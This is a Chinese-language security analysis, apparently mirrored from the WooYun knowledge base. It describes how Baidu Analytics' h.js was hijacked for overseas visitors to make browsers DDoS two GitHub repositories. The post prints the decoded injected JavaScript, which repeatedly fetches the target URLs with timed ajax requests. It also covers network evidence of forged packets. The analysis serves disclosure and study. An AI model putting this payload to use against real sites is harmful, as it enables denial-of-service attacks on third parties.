百度統計js被劫持用來DDOS Github

wyzsk發表於2020-08-19
作者: insight-labs · 2015/03/27 14:07

0x00 背景


今天中午刷著全國最大的資訊保安從業人員同性交友社群zone.wooyun.org的時候,忽然瀏覽器每隔2秒就不斷的彈窗:

malicious javascript detected on this domain

enter image description here

我第一反應就是不知道哪個調皮的基友又把zone給XSS了,馬上開啟開發者工具分析。

0x01 細節


之後立刻發現彈窗的js居然是從github載入的:

enter image description here

可是為什麼烏雲會從github載入js呢,並且還是從greatfire和紐約時報映象載入。

第一反應是頁面有xss或者js被劫持了,找了半天終於找到了,居然是

hm.baidu.com/h.js

這個js的確被烏雲載入了沒錯,這是百度統計的js程式碼,開啟后里面是一個簡單加密後的js,eval了一串編碼後的內容,隨便找了個線上解密看了下,發現如下內容:

#!js
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;

function unixtime() {
    var a = new Date;
    return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
NUM = url_array.length;

function r_send2() {
    var a = unixtime() % NUM;
    get(url_array[a])
}

function get(a) {
    var b;
    $.ajax({
        url: a,
        dataType: "script",
        timeout: 1E4,
        cache: !0,
        beforeSend: function() {
            requestTime = (new Date).getTime()
        },
        complete: function() {
            responseTime = (new Date).getTime();
            b = Math.floor(responseTime - requestTime);
            3E5 > responseTime - startime && (r_send(b), count += 1)
        }
    })
}

function r_send(a) {
    setTimeout("r_send2()", a)
}
setTimeout("r_send2()", 2E3);

大概功能就是關閉快取後每隔2秒載入一次

url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];

裡面的兩個url

問了下牆內的小夥伴們,他們看到的js都是正常的,但是透過牆外ip訪問

http://hm.baidu.com/h.js

就會得到上面的js檔案,每隔2秒請求一下這兩個url。

開啟twitter看了下,似乎從3月18號以來Github就受到了DDoS攻擊,之後greatfire把被攻擊的頁面內容換成了

#!js
alert("WARNING: malicious javascript detected on this domain")

以彈窗的方式阻止了js的迴圈執行。

enter image description here

圖3 國外ip traceroute到hm.baidu.com的記錄

似乎DNS並沒有被劫持,看來是像之前一樣直接把IP劫持了或者直接在HTTP協議裡替換檔案。

enter image description here

掃了下埠,只開了80和443,透過https協議訪問後是正常的空頁面(只有帶referer才會出現js檔案)。

enter image description here

作者要進行抓包分析時劫持已經停止,在twitter上看到有人已經分析過引用如下:

抓包跟蹤,正常百度伺服器返回給我日本VPS的TTL為51, RESP返回HTTP 200 OK的報文的TTL是47,可以確定的是有中間裝置對VPS發了偽造報文。

enter image description here

真是無恥,呵呵

忽然想起一句話,之前DNS被劫持到外國伺服器的時候某站長說的:

They have weaponized their entire population.

現在應該是:

They have weaponized their entire population of the Earth.
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章